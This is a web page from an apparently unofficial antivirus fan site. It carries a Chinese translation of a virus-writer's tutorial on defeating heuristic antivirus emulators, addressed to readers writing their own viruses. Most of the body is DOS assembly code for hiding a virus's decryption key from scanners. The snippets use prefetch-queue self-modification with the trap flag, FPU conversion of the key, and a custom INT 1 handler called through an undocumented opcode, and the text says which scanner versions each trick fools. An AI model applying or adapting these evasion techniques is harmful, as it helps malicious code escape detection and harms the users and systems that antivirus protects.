免费杀毒软件,全面病毒解决方案

投递文章  投稿指南 金山毒霸非官方通告:
搜索: 您的位置毒霸首页>安全防护>安全技巧>阅读资讯:启发式代码仿真检测技术分析

启发式代码仿真检测技术分析

2008-05-28 07:59:18   来源:   作者:   【 评论:0

  如果你想研究Anti heuristic技术,第一件事就是你需要一个具有启发式功能的扫描器来检测你编写的创作(virus),我建议你尽量多的找些这样的扫描器。因为每一启发式的扫描器都有自己的强项及弱点。我给你一个简单的扫描器列表,我将使用这些来进行测试。

  .Thunderbyte Antivirus (http://www.thunderbyte.com) 在早期,这被认为是最好的扫描器了,但现在,在vxer的眼中它已经被认是很一般的了,至少在"启发式检测"(其实仅是特定的字符串描)方面如此。但在其它方面它附带了很多实用的扫描器(checksummer, cleaner, memory resident utilities...)。顺便说一下,每个人都会有自己喜欢的不同版本,我建议您使用7.xx这一版本。因为这个版本可以让您制定您自己的扫描方式,这一点很重要,如果你自己不小心感染了自己的机器。

  .F-prot (http://www.datafellows.com) 这个是不算太坏的,虽然还有很多更好的。有趣的是,比起现在最后的一个版本在启发式方面有了更好的改进。所有我建议您使用V2.2.8版或像我一样使用V2.2.7版来测试你的病毒。另外有趣的特点是这款扫描器,支持使用可疑扫描的命令行参数方式执行。如果您使用它,将进入一个智能的扫描模式。基于这样的原因,你知道开启可疑检测模式并不是必需的,如果你这样做了,你会知道你的anti-heuristic 技术实在是太好用了。

  .AVP (http://www.avp.ch):在我认为最好的启发式扫描器当中,确实是难于欺骗的一个。我是用的版本是version 3.0 build 128

  .NOD (http://www.eset.sk): 像AVP一样的优秀。

  .Dr. Web (http://www.dials.ru): 这也是非常好的启发式扫描器,那些俄罗斯人知道如何取得更好的Anti Virus效果。

  .Dr Solomon’s (http://www.drsolomon.com):从我一个在NAI工作的一个朋友那里知道,这是一款中高质量的扫描器,但它的效果仍优于mcafee。

  .Ikarus Antivirus (http://www.ikarus.at):一个中等品质的扫描器,我使用它,是出于爱国的原因。

  重要的思路

  我的所有欺骗手段,都是基于同样的思路的:那就是病毒是加密的,我们要在扫描器能解密出病毒体前停止仿真代码的执行,或者在扫描过程中隐藏我们的加密密钥。如果你仍然没有使用加密的方式,密钥隐藏手段也是可以使用的,在“加密”的调用方式中(例如,int 21h 中断的值),例如这样打开一个文件的操作,虽然我没有测试过这种方式。

  mov ax, 3D02h ;0x3D02 是密钥

  add ax, key

  int 21h

  

  1 通过指令预取反跟踪技术:

  早期的处理器,像386或者486都使用了指令队列预期(PIQ)技术来提高代码执行效率。这一技术的本质是,当CPU将要执行一条指令时,它已经将该指令预先读到了CPU的cache中了。所以在此之前的修改对CPU来说已经没有影响了。让我看一个这样的例子:

  mov word ptr cs:[offset piq], 20CDh

  piq:

  nop

  nop

  

  你应该会想到这个程序将结束运行,因为两个字节的nop 指令会被覆盖为 int 20h(译者注:int 20h 是返回DOS的指令)。但在386或486的机器上去并非如此,因为nop指令已经在cpu的cache中了。但在Pentium/Pentium II 体系的机器中运行时,指令则会被覆盖,程序执行后退出。

  

  如果你想利用这一特性来对抗启发式检测技术的话,你就必须知道在386/486年代这是一种广泛的对抗启发式检测的手段。但是随着AVs的改进,他们已经加入了对指令预期技术的支持。这是不是件很不可思议的事情,他们仿真的东西竟是不存于现在的处理器当中的。让我们再看看上面的例子,这是我们用来对付他们的,在 pentium 或者更高级别的处理上面,像我所说的那样,程序会终止,因为这些处理器没有使用PIQ技术。但大部分的AVs会继续让代码执行那两个nops,因为他们要仿真PIQ。所有这块我们这样做:

  

  mov word ptr [offset prefetch], 06C7h

  prefetch:

  int 20h

  dw offset decrypt_key

  dw key

  

  int 20h 指令将被覆盖,替换它的将是下面的指令

  mov word ptr [decrypt_key], key

  基于对PIQ的考虑,AVs将终止程序的执行。但实际上我们的程序将继续运行,在我们的加密处理函数中设置密钥。我们仅存在一个问题,那就是我们的代码要运行在Pentiums或更高级别的处理器上面。为了使之兼容486系列或更低一些处理器,我们只需清除掉PIQ之间的两条指令。

  没有什么比这更简单的了!当然,你也要知道清除所有jump类指令(jmp, call, loop, int...)之间的PIQ(这一点是必需的,如果你想这样做的话)。但是我们不能简单的处理JMP Short $Content$2之间的指令,对于清除PIQ来说它应该是正常被执行的,因为代码仿真器是会察觉到这一点的。

  但是我们可以使用一个特殊的功能,CPU的陷阱标志。如果这个标志被置位,那么其后的任何指令执行都将触发int 1 的中断调用,记住这样会清除PIQ。这通常是在的调试状态下,1号中断向量只是简单的 IRET,所以我们可以使用没有任何问题。无论如何,执行后再次清除陷阱标志都是个很好的主意。下面展示的代码可以运行在任何处理器上(assumes DS = CS)。

  

  pushf ;flags on the stack

  pop ax ;flags from stack into AX

  or ax, 100000000b ;set trap flag

  push ax ;put the modified flags in AX back...

  popf ;into the flag register via the stack

  

  mov word ptr [offset prefetch], 06C7h ;modify the following instruction

  prefetch: ;here gets int1 called => clears PIQ

  int 20h ;This is never executed

  dw offset decrypt_key ;where we want to write our key to

  dw key ;the actual decryption key

  

  pushf ;clear the trap flag again with

  pop ax ;the same method as above.

  xor ax, 100000000b ;will also fool some debuggers

  push ax

  popf

  

  mov word ptr [offset prefetch], 20CDh ;restore the int20h (next generations)

  这种方式可以骗过 AVP, Dr. Web, f-prot v3.04 (even with the /PARANOID flag),但不能通过f-prot v2.27, Nod, Ikarus and Dr. Solomon’s. f-prot v2.27 and Ikarus的检测。另一方面我们也可以欺骗”正常的“使用PIQ手段(当然你要记得,这并不能运行于现在的处理器上)。

  

  2 通过FPU 的手段:

  我非常喜欢用欺骗方式,因为相对于大多数的有效手段来说,这种方式是非常简单。它可以愚弄*ALL*所有的扫描器。你仅需要考虑的一件事情就是启发式扫描器不能仿真浮点指令。很明显,AVs考虑的是病毒程序运行是不需要FPU指令的。好了,让我们证明他们的想法是错误的。我们将要做的是,在加密完成后,通过浮点数来转换密钥,解密时再将它转换成整数。

  

  ; AFTER ENCRYPTION:

  mov decrypt_key, key ;save key into integer variable

  fild decrypt_key ;load integer key into FPU and store

  fstp decrypt_float_key ;it back as floating point number

  mov decrypt_key, 0 ;destroy the key (very important!)

  

  ; BEFORE DECRYPTION:

  fld decrypt_float_key ;load the key as floating point number

  

  正向我前面所说的,这一手段非常容易且极端有效,但如果你使用它,也要考虑到运行系统的要求。如果你的virus运行在没有FPU的系统上时,他将崩溃。

  

  

  3 通过INT 1 的手段 :

  

  前文已经提到,如果CPU的陷阱标志被设置,那么任何指令执行后,int 1 中断都会被调用。 我也可以通过手工的调用的int 1 中断来达到我们的目的。int 1中断的反汇编代码通常是0CDh/001h,自从有了一个专用opcode来表示int1(0F1h)中断后,这样反而是非常奇怪的,尽管这是未公开文档化的。但是"not documented"的意思也应该是"not emulated by AVs", ^_^ 。所有我们将这样做:我们设置一个我们自己的INT 1 中断的handler,同时调用”not doumented“ 的opcode 0F1h,返回解密密钥 。AVs 将没有办法知道解密密钥是什么。

  

  mov ax, 3501h ;get int vector 1, so we can restore it later

  int 21h ;not really necessary, but a little bit saver

  mov int1_segm, es

  mov int1_offs, bx

  

  mov ax, 2501h ;set int vector 1 to our own routine

  mov dx, offset int1_handler ;we assume DS=CS

  int 21h

  

  db 0F1h ;this will call our int 1 handler, which

  mov decrypt_key, ax ;returns the decryption key

  

  mov ax, 2501h ;restore the original int 1 handler

  mov dx, cs:int1_offs

  mov ds, cs:int1_segm

  int 21h

  

  [...]

  

  int1_handler:

  mov ax, key

  iret

  

  另外一件好笑的事是,我们可以伪造程序退出,可以这样做:

  [...]

  db 0F1h ;calls our int 1 handler (see above);

  mov ax, 4c00h ;quit program

  int 21h ;but... this code is never reached... ;-)

  

  [...]

  

  int1_handler:

  mov bx, sp ;modify return address, so the quit command

  add word ptr ss:[bx], 5 ;is never executed.

  iret

  

  这是非常有效的一种手段,在我的测试中仅F-PORT v2.27 /PARANOID 能检测出了它,尽管它只能运行在intel的CPU上。在Cyrix 或者 AMD 处理器上是不能使用这中方法的。因此你virus如果运行则将崩溃。:- (如果你想看一下的病毒情况,你可以查找我写 PR.H! virus)



Tags:  
责任编辑:
  • 请文明参与讨论,禁止漫骂攻击。 用户名:新注册) 密码: 匿名:
    评论总数:0 [ 查看全部 ] 网友评论
    关于我们 - 联系我们 - 广告服务 - 法律声明 - RSS订阅 - 网站地图 - 返回顶部 -